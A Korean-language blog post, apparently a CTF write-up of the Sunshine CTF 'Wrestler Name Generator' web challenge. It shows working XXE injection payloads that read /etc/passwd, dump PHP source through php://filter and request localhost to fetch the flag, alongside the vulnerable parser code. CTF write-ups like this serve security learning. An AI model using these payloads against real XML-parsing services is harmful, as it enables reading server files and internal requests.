Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

Wrestler Name Generator 문제풀이 본문

CTF Writups

Wrestler Name Generator 문제풀이

POSIX 2019. 3. 31. 20:20

 

Sunshine CTF web 2번

XXE Injection 문제입니다.

 

 

주소에 접속하면 특이한 서비스 페이지가 주어지는데

성, 이름, 무기를 선택할 수 있습니다.

 

 

제출하면 재미있게도 중간 이름을 만들어 줍니다.

 

 

요청은 GET 메소드를 통해 이루어집니다.

input 인자 값이 익숙한 형태로 되어 있네요.

 

<?xml version='1.0' encoding='UTF-8'?>
<input>
<firstName>lee</firstName>
<lastName>posix</lastName>
</input>

 

디코딩 하면 위와 같은 xml 형식의 데이터를 확인할 수 있습니다.

 

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

 

Entity를 삽입해보니 /etc/passwd 파일을 정상적으로 참조합니다.

 

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

 

php://filter 를 사용하여 현 폴더의

generate.php 파일을 base64 변환하여 읽도록 하였습니다.

 

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
	echo "Please include the 'input' get parameter with your request, Brother";
	return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Wrestler Name Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your Wrestler Name Is:</h1>
  <h2>$generatedName</h2> 
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

 

상단에서 요청 주소가 $whitelist에 속한 경우

flag를 출력하도록 되어 있습니다.

 

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://localhost/generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

 

xml 내에서 해당 페이지를 참조하도록 요청하는 것으로

플래그를 얻어올 수 있었습니다.

 

'CTF Writups' 카테고리의 다른 글

Sweet 문제풀이  (0) 2019.04.03
Portfolio 문제풀이  (0) 2019.04.01
Wrestler Book 문제풀이  (0) 2019.03.31
TimeWarp 문제풀이  (0) 2019.03.31
eXquisite Scenery Sites 문제풀이  (9) 2019.03.30
Comments